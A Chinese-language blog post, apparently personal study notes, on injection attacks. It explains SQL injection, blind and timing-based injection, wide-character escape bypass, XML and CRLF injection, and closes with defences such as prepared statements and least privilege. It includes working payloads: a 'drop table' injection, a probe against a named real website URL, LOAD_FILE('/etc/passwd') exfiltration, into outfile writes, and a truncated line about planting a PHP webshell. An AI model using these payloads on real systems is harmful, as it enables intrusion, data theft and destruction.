注入攻击的本质无非就是:"用户能自由控制数据的输入, 代码没进行过滤或者预编译,把数据当做代码执行了",既然能把我写入的执行, 那接下来 就 尽情的发挥了.
下面就写写自己学习的初体会
(尽管都是一些老得不能再老的干货了..老知识了.. 还望各位大能多多指教)
sql注入攻击
比如这样一条语句:
select * from user u where u.id='"+parm+"'
parm 是从用户获得的参数,
比如:
parm=test'; drop table xxx;--
那么这条语句就变成了
select * from user u where u.id='test';drop table xxx; --
我们也可以故意构造错误的语句回显语法错误,分析sql , 比如 parm=test'',故意多个单引号
sql盲注
盲注 也就是 当 服务器关闭了debug模式,或者错误回显,不能通过界面直接看出来重要的信息,通过构造一些简单的条件语句根据界面的返回情况来进行判断.
比如:
http://tuan.360.cn/hang_zhou/c_7.html?aname=tuan_nav and 1=2
先通过and 1=1 ,看是否正确返回, 若返回正常,则and 成立, 在输入 and 1=2 若返回的查询不到任何数据,那么这个漏洞是存在的
Timing Attack
mysql 中有这么一个函数,benchmark
可以用这个检测注入语句是否成功执行:
-- 边信道攻击,对某个操作进行 count 次 操作select benchmark(9999999,encode('hello','world'));-- 判断数据库名第一个字母是否是w,若是的,则执行 benchmarkselect a.id from auth_user a union select if(substring(current,1,1) = char(119),benchmark(9999999,encode('test','hello world')),null)from (select Database() as current) as tb1;select database(); -- 获取数据库名select system_user(); --获取root用户select current_user();-- 获取当前数据库用户select last_insert_id();
假如,当前数据库用户 还具有写入的权限的话:
-- 把 查询到的信息 保存到本地select table_name ,table_type, engine from information_schema.tables where table_schema ='mysql'order by table_name desc into outfile '~/test'-- 写入一个 php 的 webshell 到指定的 文件目录,然后尽情的享受一切吧select "
数据库的进攻技巧
把 查询到的信息 保存到本地
select table_name ,table_type, engine from information_schema.tables where table_schema ='mysql'order by table_name desc into outfile '~/test'
写入一个 php 的 webshell 到指定的 文件目录
select "
从本地读取文件后 存储到本地,然后在导入到创建的表中,然后通过一般的注入技巧读取表中的数据
create table testLoad(line Blob);select HEX(LOAD_FILE('/etc/passwd')),1,1 into DUMPFILE '~/testLoadfile';LOAD Data infile '~/testLoadfile' into table testLoad;
如何避免 也非常简单,避免web 应用使用数据库的管理员权限即可.
编码问题
注入攻击中常常会对 ' " 等特殊符号用 进行转义,但是当使用了宽字符集可能会有意想不到的结果
0x 5c=\0x 27='0x bf27=¿0x bf5c =縗
在进入数据库之前,web 语言没有考虑到双字节的问题,比如PHP 中的,addslashes()函数或者magic_quotes_gpc开启时 会在特殊符号前加一个转义字符
比如:
0xbf27 or 1=1 也就是 ¿' or 1=1
加了转义字符后变成
0xbf5c27 也就是 縗' or 1=1
这样是不是注入成功了呢?嘿嘿
解决办法就是 统一数据库,操作系统,web程序的字符集,尽量统一成utf8
防御sql注入
最佳方式目前就是 使用预编译语句,绑定变量 , 比如
java
PreparedStatement st=connection.prepareStatement(query);st.setString(..); //相信写过java 的,都不陌生吧 .
php:
bind_parm()
使用安全函数
String sql="select userid from user where user_name='"+ ESAPT.encoder().encodeForSQl(ORACLE_CODES,re.gerParamenter("username"))+""
xml 注入攻击
比如:
weirdbird007@gmail.comtest test@a.com
假如没对特殊字符进行过滤的话,那么生成的可能就是
user1 weirdbird007@gmail.com test test@a.com
CRLF注入
也就是 \r \n , 16进制:0x0d ,0x0a
crlf 常被用作分隔符
比如伪造入侵记录: 写日志: 输入:
guest \n user login succeded for :admin
那么日志 很可能变成这样 user test failed for:test
user test succeeded for:admin
HTTP 协议中:
\r\n
是用来分割http head 的,假如没过滤\r\n的话, 我可以 进行 xss 攻击
总之,在防御上,进行 数据与代码分类的原则,在拼接sql 的地方进行安全检查,理论上能够避免这类问题的产生
花了3小时,单曲循环 理查德·克莱德曼 的《秋日私语》 总算完成了这篇blog 。
下面是一些wooyun 上面的 注入攻击 的一些资料,建议阅读